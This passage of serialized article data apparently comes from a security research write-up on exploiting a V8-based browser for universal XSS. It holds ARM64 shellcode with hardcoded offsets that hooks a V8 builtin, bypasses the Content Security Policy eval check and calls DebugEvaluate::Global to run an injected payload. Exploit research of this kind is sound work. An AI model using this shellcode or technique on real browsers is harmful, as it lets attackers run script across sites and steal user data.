knows\n",{"type":22,"tag":118,"props":142124,"children":142125},{"class":120,"line":900},[142126],{"type":22,"tag":118,"props":142127,"children":142128},{},[142129],{"type":28,"value":142130},"// where to return\n",{"type":22,"tag":118,"props":142132,"children":142133},{"class":120,"line":913},[142134],{"type":22,"tag":118,"props":142135,"children":142136},{},[142137],{"type":28,"value":142138},"mov x4, lr\n",{"type":22,"tag":118,"props":142140,"children":142141},{"class":120,"line":953},[142142],{"type":22,"tag":118,"props":142143,"children":142144},{"emptyLinePlaceholder":15},[142145],{"type":28,"value":250},{"type":22,"tag":118,"props":142147,"children":142148},{"class":120,"line":982},[142149],{"type":22,"tag":118,"props":142150,"children":142151},{},[142152],{"type":28,"value":142153},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":22,"tag":118,"props":142155,"children":142156},{"class":120,"line":995},[142157],{"type":22,"tag":118,"props":142158,"children":142159},{},[142160],{"type":28,"value":142161},"ldp x15, lr, [sp], #16\n",{"type":22,"tag":118,"props":142163,"children":142164},{"class":120,"line":1011},[142165],{"type":22,"tag":118,"props":142166,"children":142167},{"emptyLinePlaceholder":15},[142168],{"type":28,"value":250},{"type":22,"tag":118,"props":142170,"children":142171},{"class":120,"line":1019},[142172],{"type":22,"tag":118,"props":142173,"children":142174},{},[142175],{"type":28,"value":142176},"ret x4\n",{"type":22,"tag":31,"props":142178,"children":142179},{},[142180,142182,142187,142189,142194,142196,142202],{"type":28,"value":142181},"At this point, we have successfully hooked ",{"type":22,"tag":114,"props":142183,"children":142185},{"className":142184},[],[142186],{"type":28,"value":141064},{"type":28,"value":142188}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":22,"tag":114,"props":142190,"children":142192},{"className":142191},[],[142193],{"type":28,"value":141580},{"type":28,"value":142195}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":22,"tag":114,"props":142197,"children":142199},{"className":142198},[],[142200],{"type":28,"value":142201},"Builtins_GlobalEval",{"type":28,"value":292},{"type":22,"tag":31,"props":142204,"children":142205},{},[142206,142211,142213,142218,142220,142225],{"type":22,"tag":114,"props":142207,"children":142209},{"className":142208},[],[142210],{"type":28,"value":142201},{"type":28,"value":142212}," takes a single ",{"type":22,"tag":114,"props":142214,"children":142216},{"className":142215},[],[142217],{"type":28,"value":49866},{"type":28,"value":142219}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":22,"tag":114,"props":142221,"children":142223},{"className":142222},[],[142224],{"type":28,"value":39489},{"type":28,"value":213},{"type":22,"tag":107,"props":142227,"children":142229},{"code":142228,"language":31050,"meta":7,"className":31048,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[142230],{"type":22,"tag":114,"props":142231,"children":142232},{"__ignoreMap":7},[142233,142246,142253,142260,142303,142325,142351],{"type":22,"tag":118,"props":142234,"children":142235},{"class":120,"line":121},[142236,142241],{"type":22,"tag":118,"props":142237,"children":142238},{"style":532},[142239],{"type":28,"value":142240},"BUILTIN",{"type":22,"tag":118,"props":142242,"children":142243},{"style":125},[142244],{"type":28,"value":142245},"(GlobalEval) {\n",{"type":22,"tag":118,"props":142247,"children":142248},{"class":120,"line":142},[142249],{"type":22,"tag":118,"props":142250,"children":142251},{"style":125},[142252],{"type":28,"value":128749},{"type":22,"tag":118,"props":142254,"children":142255},{"class":120,"line":177},[142256],{"type":22,"tag":118,"props":142257,"children":142258},{"emptyLinePlaceholder":15},[142259],{"type":28,"value":250},{"type":22,"tag":118,"props":142261,"children":142262},{"class":120,"line":195},[142263,142268,142273,142277,142282,142286,142290,142294,142299],{"type":22,"tag":118,"props":142264,"children":142265},{"style":125},[142266],{"type":28,"value":142267},"  if (!Builtins::",{"type":22,"tag":118,"props":142269,"children":142270},{"style":131},[142271],{"type":28,"value":142272},"AllowDynamicFunction",{"type":22,"tag":118,"props":142274,"children":142275},{"style":125},[142276],{"type":28,"value":540},{"type":22,"tag":118,"props":142278,"children":142279},{"style":131},[142280],{"type":28,"value":142281},"isolate",{"type":22,"tag":118,"props":142283,"children":142284},{"style":125},[142285],{"type":28,"value":231},{"type":22,"tag":118,"props":142287,"children":142288},{"style":131},[142289],{"type":28,"value":116674},{"type":22,"tag":118,"props":142291,"children":142292},{"style":125},[142293],{"type":28,"value":231},{"type":22,"tag":118,"props":142295,"children":142296},{"style":131},[142297],{"type":28,"value":142298},"target_global_proxy",{"type":22,"tag":118,"props":142300,"children":142301},{"style":125},[142302],{"type":28,"value":37134},{"type":22,"tag":118,"props":142304,"children":142305},{"class":120,"line":244},[142306,142311,142315,142320],{"type":22,"tag":118,"props":142307,"children":142308},{"style":204},[142309],{"type":28,"value":142310},"    isolate",{"type":22,"tag":118,"props":142312,"children":142313},{"style":125},[142314],{"type":28,"value":593},{"type":22,"tag":118,"props":142316,"children":142317},{"style":532},[142318],{"type":28,"value":142319},"CountUsage",{"type":22,"tag":118,"props":142321,"children":142322},{"style":125},[142323],{"type":28,"value":142324},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":22,"tag":118,"props":142326,"children":142327},{"class":120,"line":253},[142328,142332,142337,142342,142347],{"type":22,"tag":118,"props":142329,"children":142330},{"style":1480},[142331],{"type":28,"value":18954},{"type":22,"tag":118,"props":142333,"children":142334},{"style":532},[142335],{"type":28,"value":142336}," ReadOnlyRoots",{"type":22,"tag":118,"props":142338,"children":142339},{"style":125},[142340],{"type":28,"value":142341},"(isolate).",{"type":22,"tag":118,"props":142343,"children":142344},{"style":532},[142345],{"type":28,"value":142346},"undefined_value",{"type":22,"tag":118,"props":142348,"children":142349},{"style":125},[142350],{"type":28,"value":1098},{"type":22,"tag":118,"props":142352,"children":142353},{"class":120,"line":263},[142354],{"type":22,"tag":118,"props":142355,"children":142356},{"style":125},[142357],{"type":28,"value":7881},{"type":22,"tag":31,"props":142359,"children":142360},{},[142361,142363,142368],{"type":28,"value":142362},"This means we would need to patch the function further to ensure it never enters this ",{"type":22,"tag":114,"props":142364,"children":142366},{"className":142365},[],[142367],{"type":28,"value":17553},{"type":28,"value":142369}," block.",{"type":22,"tag":31,"props":142371,"children":142372},{},[142373],{"type":28,"value":142374},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":22,"tag":107,"props":142376,"children":142378},{"code":142377,"language":31050,"meta":7,"className":31048,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[142379],{"type":22,"tag":114,"props":142380,"children":142381},{"__ignoreMap":7},[142382,142393,142400,142407,142414,142422,142434,142442,142459,142489,142497,142509],{"type":22,"tag":118,"props":142383,"children":142384},{"class":120,"line":121},[142385,142389],{"type":22,"tag":118,"props":142386,"children":142387},{"style":532},[142388],{"type":28,"value":142240},{"type":22,"tag":118,"props":142390,"children":142391},{"style":125},[142392],{"type":28,"value":142245},{"type":22,"tag":118,"props":142394,"children":142395},{"class":120,"line":142},[142396],{"type":22,"tag":118,"props":142397,"children":142398},{"emptyLinePlaceholder":15},[142399],{"type":28,"value":250},{"type":22,"tag":118,"props":142401,"children":142402},{"class":120,"line":177},[142403],{"type":22,"tag":118,"props":142404,"children":142405},{"style":125},[142406],{"type":28,"value":128749},{"type":22,"tag":118,"props":142408,"children":142409},{"class":120,"line":195},[142410],{"type":22,"tag":118,"props":142411,"children":142412},{"emptyLinePlaceholder":15},[142413],{"type":28,"value":250},{"type":22,"tag":118,"props":142415,"children":142416},{"class":120,"line":244},[142417],{"type":22,"tag":118,"props":142418,"children":142419},{"style":125},[142420],{"type":28,"value":142421},"  DirectHandle\u003CJSFunction> function;\n",{"type":22,"tag":118,"props":142423,"children":142424},{"class":120,"line":253},[142425,142430],{"type":22,"tag":118,"props":142426,"children":142427},{"style":532},[142428],{"type":28,"value":142429},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":22,"tag":118,"props":142431,"children":142432},{"style":125},[142433],{"type":28,"value":696},{"type":22,"tag":118,"props":142435,"children":142436},{"class":120,"line":263},[142437],{"type":22,"tag":118,"props":142438,"children":142439},{"style":125},[142440],{"type":28,"value":142441},"      isolate, function,\n",{"type":22,"tag":118,"props":142443,"children":142444},{"class":120,"line":318},[142445,142450,142455],{"type":22,"tag":118,"props":142446,"children":142447},{"style":125},[142448],{"type":28,"value":142449},"      Compiler::",{"type":22,"tag":118,"props":142451,"children":142452},{"style":532},[142453],{"type":28,"value":142454},"GetFunctionFromValidatedString",{"type":22,"tag":118,"props":142456,"children":142457},{"style":125},[142458],{"type":28,"value":696},{"type":22,"tag":118,"props":142460,"children":142461},{"class":120,"line":351},[142462,142467,142471,142475,142479,142484],{"type":22,"tag":118,"props":142463,"children":142464},{"style":532},[142465],{"type":28,"value":142466},"          direct_handle",{"type":22,"tag":118,"props":142468,"children":142469},{"style":125},[142470],{"type":28,"value":540},{"type":22,"tag":118,"props":142472,"children":142473},{"style":204},[142474],{"type":28,"value":116674},{"type":22,"tag":118,"props":142476,"children":142477},{"style":125},[142478],{"type":28,"value":593},{"type":22,"tag":118,"props":142480,"children":142481},{"style":532},[142482],{"type":28,"value":142483},"native_context",{"type":22,"tag":118,"props":142485,"children":142486},{"style":125},[142487],{"type":28,"value":142488},"(), isolate), source,\n",{"type":22,"tag":118,"props":142490,"children":142491},{"class":120,"line":359},[142492],{"type":22,"tag":118,"props":142493,"children":142494},{"style":125},[142495],{"type":28,"value":142496},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":22,"tag":118,"props":142498,"children":142499},{"class":120,"line":368},[142500,142505],{"type":22,"tag":118,"props":142501,"children":142502},{"style":532},[142503],{"type":28,"value":142504},"  RETURN_RESULT_OR_FAILURE",{"type":22,"tag":118,"props":142506,"children":142507},{"style":125},[142508],{"type":28,"value":696},{"type":22,"tag":118,"props":142510,"children":142511},{"class":120,"line":384},[142512,142517,142522],{"type":22,"tag":118,"props":142513,"children":142514},{"style":125},[142515],{"type":28,"value":142516},"      isolate, Execution::",{"type":22,"tag":118,"props":142518,"children":142519},{"style":532},[142520],{"type":28,"value":142521},"Call",{"type":22,"tag":118,"props":142523,"children":142524},{"style":125},[142525],{"type":28,"value":142526},"(isolate, function, target_global_proxy, {}));\n",{"type":22,"tag":31,"props":142528,"children":142529},{},[142530,142532,142537,142539,142545,142547,142553,142555,142561],{"type":28,"value":142531},"But determining the correct ",{"type":22,"tag":114,"props":142533,"children":142535},{"className":142534},[],[142536],{"type":28,"value":116674},{"type":28,"value":142538}," value, obtaining ",{"type":22,"tag":114,"props":142540,"children":142542},{"className":142541},[],[142543],{"type":28,"value":142544},"target->native_context()",{"type":28,"value":142546},", and locating the ",{"type":22,"tag":114,"props":142548,"children":142550},{"className":142549},[],[142551],{"type":28,"value":142552},"direct_handle",{"type":28,"value":142554}," function, just to make a proper call to ",{"type":22,"tag":114,"props":142556,"children":142558},{"className":142557},[],[142559],{"type":28,"value":142560},"Compiler::GetFunctionFromValidatedString",{"type":28,"value":142562},", seemed unnecessarily cumbersome.",{"type":22,"tag":31,"props":142564,"children":142565},{},[142566,142568,142574],{"type":28,"value":142567},"Instead, we found a much simpler option with no security checks: ",{"type":22,"tag":114,"props":142569,"children":142571},{"className":142570},[],[142572],{"type":28,"value":142573},"DebugEvaluate::Global",{"type":28,"value":142575},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":22,"tag":31,"props":142577,"children":142578},{},[142579],{"type":28,"value":142580},"For our needs, it is straightforward to call:",{"type":22,"tag":107,"props":142582,"children":142584},{"code":142583,"language":31050,"meta":7,"className":31048,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[142585],{"type":22,"tag":114,"props":142586,"children":142587},{"__ignoreMap":7},[142588,142636,142665,142686],{"type":22,"tag":118,"props":142589,"children":142590},{"class":120,"line":121},[142591,142596,142600,142604,142609,142614,142618,142623,142627,142632],{"type":22,"tag":118,"props":142592,"children":142593},{"style":131},[142594],{"type":28,"value":142595},"MaybeDirectHandle",{"type":22,"tag":118,"props":142597,"children":142598},{"style":125},[142599],{"type":28,"value":559},{"type":22,"tag":118,"props":142601,"children":142602},{"style":131},[142603],{"type":28,"value":50791},{"type":22,"tag":118,"props":142605,"children":142606},{"style":125},[142607],{"type":28,"value":142608},"> DebugEvaluate::",{"type":22,"tag":118,"props":142610,"children":142611},{"style":532},[142612],{"type":28,"value":142613},"Global",{"type":22,"tag":118,"props":142615,"children":142616},{"style":125},[142617],{"type":28,"value":540},{"type":22,"tag":118,"props":142619,"children":142620},{"style":131},[142621],{"type":28,"value":142622},"Isolate",{"type":22,"tag":118,"props":142624,"children":142625},{"style":146},[142626],{"type":28,"value":671},{"type":22,"tag":118,"props":142628,"children":142629},{"style":204},[142630],{"type":28,"value":142631}," isolate",{"type":22,"tag":118,"props":142633,"children":142634},{"style":125},[142635],{"type":28,"value":782},{"type":22,"tag":118,"props":142637,"children":142638},{"class":120,"line":142},[142639,142644,142648,142652,142656,142661],{"type":22,"tag":118,"props":142640,"children":142641},{"style":131},[142642],{"type":28,"value":142643},"                                                Handle",{"type":22,"tag":118,"props":142645,"children":142646},{"style":125},[142647],{"type":28,"value":559},{"type":22,"tag":118,"props":142649,"children":142650},{"style":131},[142651],{"type":28,"value":49866},{"type":22,"tag":118,"props":142653,"children":142654},{"style":125},[142655],{"type":28,"value":7831},{"type":22,"tag":118,"props":142657,"children":142658},{"style":204},[142659],{"type":28,"value":142660},"source",{"type":22,"tag":118,"props":142662,"children":142663},{"style":125},[142664],{"type":28,"value":782},{"type":22,"tag":118,"props":142666,"children":142667},{"class":120,"line":177},[142668,142673,142678,142682],{"type":22,"tag":118,"props":142669,"children":142670},{"style":125},[142671],{"type":28,"value":142672},"                                                debug::",{"type":22,"tag":118,"props":142674,"children":142675},{"style":131},[142676],{"type":28,"value":142677},"EvaluateGlobalMode",{"type":22,"tag":118,"props":142679,"children":142680},{"style":204},[142681],{"type":28,"value":107870},{"type":22,"tag":118,"props":142683,"children":142684},{"style":125},[142685],{"type":28,"value":782},{"type":22,"tag":118,"props":142687,"children":142688},{"class":120,"line":195},[142689,142694,142699],{"type":22,"tag":118,"props":142690,"children":142691},{"style":131},[142692],{"type":28,"value":142693},"                                                REPLMode",{"type":22,"tag":118,"props":142695,"children":142696},{"style":204},[142697],{"type":28,"value":142698}," repl_mode",{"type":22,"tag":118,"props":142700,"children":142701},{"style":125},[142702],{"type":28,"value":682},{"type":22,"tag":31,"props":142704,"children":142705},{},[142706,142708,142713,142715,142720,142722,142727,142729,142735,142736,142742],{"type":28,"value":142707},"We must supply the ",{"type":22,"tag":114,"props":142709,"children":142711},{"className":142710},[],[142712],{"type":28,"value":142281},{"type":28,"value":142714}," pointer, a ",{"type":22,"tag":114,"props":142716,"children":142718},{"className":142717},[],[142719],{"type":28,"value":49866},{"type":28,"value":142721}," object containing our XSS payload as ",{"type":22,"tag":114,"props":142723,"children":142725},{"className":142724},[],[142726],{"type":28,"value":142660},{"type":28,"value":142728},", and the ",{"type":22,"tag":114,"props":142730,"children":142732},{"className":142731},[],[142733],{"type":28,"value":142734},"mode",{"type":28,"value":12991},{"type":22,"tag":114,"props":142737,"children":142739},{"className":142738},[],[142740],{"type":28,"value":142741},"repl_mode",{"type":28,"value":142743}," values, which are simple enum literals.",{"type":22,"tag":31,"props":142745,"children":142746},{},[142747,142749,142754,142756,142762,142764,142769,142771,142776,142778,142784,142786,142792,142794,142799,142801,142806,142808,142813,142815,142820],{"type":28,"value":142748},"To obtain the ",{"type":22,"tag":114,"props":142750,"children":142752},{"className":142751},[],[142753],{"type":28,"value":142281},{"type":28,"value":142755}," pointer within our shellcode, we call ",{"type":22,"tag":114,"props":142757,"children":142759},{"className":142758},[],[142760],{"type":28,"value":142761},"Isolate::TryGetCurrent()",{"type":28,"value":142763},", which returns the current ",{"type":22,"tag":114,"props":142765,"children":142767},{"className":142766},[],[142768],{"type":28,"value":142281},{"type":28,"value":142770},". To construct a valid ",{"type":22,"tag":114,"props":142772,"children":142774},{"className":142773},[],[142775],{"type":28,"value":49866},{"type":28,"value":142777}," object holding our payload, we call ",{"type":22,"tag":114,"props":142779,"children":142781},{"className":142780},[],[142782],{"type":28,"value":142783},"v8::String::NewFromUTF8",{"type":28,"value":142785},". This ",{"type":22,"tag":114,"props":142787,"children":142789},{"className":142788},[],[142790],{"type":28,"value":142791},"NewFromUTF8",{"type":28,"value":142793}," function takes four arguments: the ",{"type":22,"tag":114,"props":142795,"children":142797},{"className":142796},[],[142798],{"type":28,"value":142281},{"type":28,"value":142800},", the string bytes as ",{"type":22,"tag":114,"props":142802,"children":142804},{"className":142803},[],[142805],{"type":28,"value":5715},{"type":28,"value":142807},", an enum literal specifying the string type, and ",{"type":22,"tag":114,"props":142809,"children":142811},{"className":142810},[],[142812],{"type":28,"value":10506},{"type":28,"value":142814},", which is the size of the ",{"type":22,"tag":114,"props":142816,"children":142818},{"className":142817},[],[142819],{"type":28,"value":5715},{"type":28,"value":19129},{"type":22,"tag":31,"props":142822,"children":142823},{},[142824],{"type":28,"value":142825},"The resulting shellcode that executes our XSS payload looks like this:",{"type":22,"tag":107,"props":142827,"children":142829},{"code":142828,"language":141117,"meta":7,"className":141118,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[142830],{"type":22,"tag":114,"props":142831,"children":142832},{"__ignoreMap":7},[142833,142841,142849,142857,142865,142873,142881,142889,142897,142905,142913,142921,142929,142936,142944,142952,142960,142968,142975,142983,142990,142998,143006,143013,143020,143027,143034,143041,143048,143056,143064,143071,143079,143087,143094,143102,143110,143117,143124,143132,143140,143148,143155,143163,143171,143179,143187,143195,143203,143211,143219,143227,143235,143243,143250,143258,143266,143273,143281,143289,143297,143305,143312,143320,143327,143334,143342,143350,143358,143366,143375,143384,143392],{"type":22,"tag":118,"props":142834,"children":142835},{"class":120,"line":121},[142836],{"type":22,"tag":118,"props":142837,"children":142838},{},[142839],{"type":28,"value":142840},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":22,"tag":118,"props":142842,"children":142843},{"class":120,"line":142},[142844],{"type":22,"tag":118,"props":142845,"children":142846},{},[142847],{"type":28,"value":142848},"movz x1, #0xf7a0\n",{"type":22,"tag":118,"props":142850,"children":142851},{"class":120,"line":177},[142852],{"type":22,"tag":118,"props":142853,"children":142854},{},[142855],{"type":28,"value":142856},"movk x1, #0x0071, lsl #16\n",{"type":22,"tag":118,"props":142858,"children":142859},{"class":120,"line":195},[142860],{"type":22,"tag":118,"props":142861,"children":142862},{},[142863],{"type":28,"value":142864},"add x9, x12, x1\n",{"type":22,"tag":118,"props":142866,"children":142867},{"class":120,"line":244},[142868],{"type":22,"tag":118,"props":142869,"children":142870},{},[142871],{"type":28,"value":142872},"movz x1, #0x5ac8\n",{"type":22,"tag":118,"props":142874,"children":142875},{"class":120,"line":253},[142876],{"type":22,"tag":118,"props":142877,"children":142878},{},[142879],{"type":28,"value":142880},"movk x1, #0x054f, lsl #16\n",{"type":22,"tag":118,"props":142882,"children":142883},{"class":120,"line":263},[142884],{"type":22,"tag":118,"props":142885,"children":142886},{},[142887],{"type":28,"value":142888},"add x0, x12, x1\n",{"type":22,"tag":118,"props":142890,"children":142891},{"class":120,"line":318},[142892],{"type":22,"tag":118,"props":142893,"children":142894},{},[142895],{"type":28,"value":142896},"blr x9\n",{"type":22,"tag":118,"props":142898,"children":142899},{"class":120,"line":351},[142900],{"type":22,"tag":118,"props":142901,"children":142902},{},[142903],{"type":28,"value":142904},"// *x0 is isolate pointer\n",{"type":22,"tag":118,"props":142906,"children":142907},{"class":120,"line":359},[142908],{"type":22,"tag":118,"props":142909,"children":142910},{},[142911],{"type":28,"value":142912},"// store isolate ptr to stack\n",{"type":22,"tag":118,"props":142914,"children":142915},{"class":120,"line":368},[142916],{"type":22,"tag":118,"props":142917,"children":142918},{},[142919],{"type":28,"value":142920},"ldr x13, [x0]\n",{"type":22,"tag":118,"props":142922,"children":142923},{"class":120,"line":384},[142924],{"type":22,"tag":118,"props":142925,"children":142926},{},[142927],{"type":28,"value":142928},"str x13, [sp, #-16]!\n",{"type":22,"tag":118,"props":142930,"children":142931},{"class":120,"line":417},[142932],{"type":22,"tag":118,"props":142933,"children":142934},{"emptyLinePlaceholder":15},[142935],{"type":28,"value":250},{"type":22,"tag":118,"props":142937,"children":142938},{"class":120,"line":425},[142939],{"type":22,"tag":118,"props":142940,"children":142941},{},[142942],{"type":28,"value":142943},"// store x10 = v8::String::NewFromUTF8\n",{"type":22,"tag":118,"props":142945,"children":142946},{"class":120,"line":441},[142947],{"type":22,"tag":118,"props":142948,"children":142949},{},[142950],{"type":28,"value":142951},"movz x1, #0x1140\n",{"type":22,"tag":118,"props":142953,"children":142954},{"class":120,"line":475},[142955],{"type":22,"tag":118,"props":142956,"children":142957},{},[142958],{"type":28,"value":142959},"movk x1, #0x0242, lsl #16\n",{"type":22,"tag":118,"props":142961,"children":142962},{"class":120,"line":484},[142963],{"type":22,"tag":118,"props":142964,"children":142965},{},[142966],{"type":28,"value":142967},"sub x10, x12, x1\n",{"type":22,"tag":118,"props":142969,"children":142970},{"class":120,"line":492},[142971],{"type":22,"tag":118,"props":142972,"children":142973},{"emptyLinePlaceholder":15},[142974],{"type":28,"value":250},{"type":22,"tag":118,"props":142976,"children":142977},{"class":120,"line":501},[142978],{"type":22,"tag":118,"props":142979,"children":142980},{},[142981],{"type":28,"value":142982},"// mmap a RW page for our xss payload\n",{"type":22,"tag":118,"props":142984,"children":142985},{"class":120,"line":519},[142986],{"type":22,"tag":118,"props":142987,"children":142988},{},[142989],{"type":28,"value":141333},{"type":22,"tag":118,"props":142991,"children":142992},{"class":120,"line":606},[142993],{"type":22,"tag":118,"props":142994,"children":142995},{},[142996],{"type":28,"value":142997},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":22,"tag":118,"props":142999,"children":143000},{"class":120,"line":615},[143001],{"type":22,"tag":118,"props":143002,"children":143003},{},[143004],{"type":28,"value":143005},"mov x2, #3\n",{"type":22,"tag":118,"props":143007,"children":143008},{"class":120,"line":685},[143009],{"type":22,"tag":118,"props":143010,"children":143011},{},[143012],{"type":28,"value":141356},{"type":22,"tag":118,"props":143014,"children":143015},{"class":120,"line":699},[143016],{"type":22,"tag":118,"props":143017,"children":143018},{},[143019],{"type":28,"value":141364},{"type":22,"tag":118,"props":143021,"children":143022},{"class":120,"line":729},[143023],{"type":22,"tag":118,"props":143024,"children":143025},{},[143026],{"type":28,"value":141372},{"type":22,"tag":118,"props":143028,"children":143029},{"class":120,"line":771},[143030],{"type":22,"tag":118,"props":143031,"children":143032},{},[143033],{"type":28,"value":141380},{"type":22,"tag":118,"props":143035,"children":143036},{"class":120,"line":785},[143037],{"type":22,"tag":118,"props":143038,"children":143039},{},[143040],{"type":28,"value":141295},{"type":22,"tag":118,"props":143042,"children":143043},{"class":120,"line":804},[143044],{"type":22,"tag":118,"props":143045,"children":143046},{"emptyLinePlaceholder":15},[143047],{"type":28,"value":250},{"type":22,"tag":118,"props":143049,"children":143050},{"class":120,"line":812},[143051],{"type":22,"tag":118,"props":143052,"children":143053},{},[143054],{"type":28,"value":143055},"// write our xss payload to mmapped rw page\n",{"type":22,"tag":118,"props":143057,"children":143058},{"class":120,"line":821},[143059],{"type":22,"tag":118,"props":143060,"children":143061},{},[143062],{"type":28,"value":143063},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":22,"tag":118,"props":143065,"children":143066},{"class":120,"line":900},[143067],{"type":22,"tag":118,"props":143068,"children":143069},{"emptyLinePlaceholder":15},[143070],{"type":28,"value":250},{"type":22,"tag":118,"props":143072,"children":143073},{"class":120,"line":913},[143074],{"type":22,"tag":118,"props":143075,"children":143076},{},[143077],{"type":28,"value":143078},"// store x11 = XSS_PAYLOAD string\n",{"type":22,"tag":118,"props":143080,"children":143081},{"class":120,"line":953},[143082],{"type":22,"tag":118,"props":143083,"children":143084},{},[143085],{"type":28,"value":143086},"mov x11, x0\n",{"type":22,"tag":118,"props":143088,"children":143089},{"class":120,"line":982},[143090],{"type":22,"tag":118,"props":143091,"children":143092},{"emptyLinePlaceholder":15},[143093],{"type":28,"value":250},{"type":22,"tag":118,"props":143095,"children":143096},{"class":120,"line":995},[143097],{"type":22,"tag":118,"props":143098,"children":143099},{},[143100],{"type":28,"value":143101},"// pop back isolate pointer\n",{"type":22,"tag":118,"props":143103,"children":143104},{"class":120,"line":1011},[143105],{"type":22,"tag":118,"props":143106,"children":143107},{},[143108],{"type":28,"value":143109},"ldr x13, [sp], #16\n",{"type":22,"tag":118,"props":143111,"children":143112},{"class":120,"line":1019},[143113],{"type":22,"tag":118,"props":143114,"children":143115},{"emptyLinePlaceholder":15},[143116],{"type":28,"value":250},{"type":22,"tag":118,"props":143118,"children":143119},{"class":120,"line":1028},[143120],{"type":22,"tag":118,"props":143121,"children":143122},{},[143123],{"type":28,"value":141416},{"type":22,"tag":118,"props":143125,"children":143126},{"class":120,"line":1101},[143127],{"type":22,"tag":118,"props":143128,"children":143129},{},[143130],{"type":28,"value":143131},"// x13 = isolate *\n",{"type":22,"tag":118,"props":143133,"children":143134},{"class":120,"line":1146},[143135],{"type":22,"tag":118,"props":143136,"children":143137},{},[143138],{"type":28,"value":143139},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":22,"tag":118,"props":143141,"children":143142},{"class":120,"line":1226},[143143],{"type":22,"tag":118,"props":143144,"children":143145},{},[143146],{"type":28,"value":143147},"// x10 = v8::String::NewFromUtf8\n",{"type":22,"tag":118,"props":143149,"children":143150},{"class":120,"line":1234},[143151],{"type":22,"tag":118,"props":143152,"children":143153},{"emptyLinePlaceholder":15},[143154],{"type":28,"value":250},{"type":22,"tag":118,"props":143156,"children":143157},{"class":120,"line":1248},[143158],{"type":22,"tag":118,"props":143159,"children":143160},{},[143161],{"type":28,"value":143162},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":22,"tag":118,"props":143164,"children":143165},{"class":120,"line":1257},[143166],{"type":22,"tag":118,"props":143167,"children":143168},{},[143169],{"type":28,"value":143170},"// arg0 = isolate *\n",{"type":22,"tag":118,"props":143172,"children":143173},{"class":120,"line":25765},[143174],{"type":22,"tag":118,"props":143175,"children":143176},{},[143177],{"type":28,"value":143178},"mov x0, x13\n",{"type":22,"tag":118,"props":143180,"children":143181},{"class":120,"line":25778},[143182],{"type":22,"tag":118,"props":143183,"children":143184},{},[143185],{"type":28,"value":143186},"// arg1 = char *c_str\n",{"type":22,"tag":118,"props":143188,"children":143189},{"class":120,"line":25791},[143190],{"type":22,"tag":118,"props":143191,"children":143192},{},[143193],{"type":28,"value":143194},"mov x1, x11\n",{"type":22,"tag":118,"props":143196,"children":143197},{"class":120,"line":25804},[143198],{"type":22,"tag":118,"props":143199,"children":143200},{},[143201],{"type":28,"value":143202},"// arg2 = type = kNormal\n",{"type":22,"tag":118,"props":143204,"children":143205},{"class":120,"line":25858},[143206],{"type":22,"tag":118,"props":143207,"children":143208},{},[143209],{"type":28,"value":143210},"mov x2, #0\n",{"type":22,"tag":118,"props":143212,"children":143213},{"class":120,"line":25867},[143214],{"type":22,"tag":118,"props":143215,"children":143216},{},[143217],{"type":28,"value":143218},"// arg4 = 